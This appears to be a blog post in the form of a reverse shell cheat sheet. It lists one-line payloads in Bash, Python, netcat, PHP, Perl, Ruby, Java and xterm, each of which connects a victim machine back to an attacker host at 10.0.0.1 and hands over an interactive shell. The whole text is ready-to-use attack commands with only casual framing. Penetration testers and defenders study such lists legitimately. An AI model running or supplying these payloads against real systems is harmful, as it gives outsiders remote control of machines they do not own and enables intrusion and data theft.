I ReverseShell and you?

Reverse Shell Cheat Sheet

No kidding guys, this is a straight forward list for a multiple way to get a reverse shell.

Let the bells and whistles come out of the box:

BASH

bash -i >& /dev/tcp/10.0.0.1/1337 0>&1 

PYTHON

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

NETCAT

If you are lucky, you got the version with “-e” option available

nc -e /bin/bash 10.0.0.1 1337 

Nothing is lost if you miss it

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 1337 >/tmp/f 

PHP

php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");' 

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

RUBY

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

JAVA

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() 

XTERM

# launching this command on victim it tries to connect back at port 6001
xterm -display 10.0.0.1:1

# on your machine, you take it back with
Xnest :1
# a and auth it
xhost +victim_ip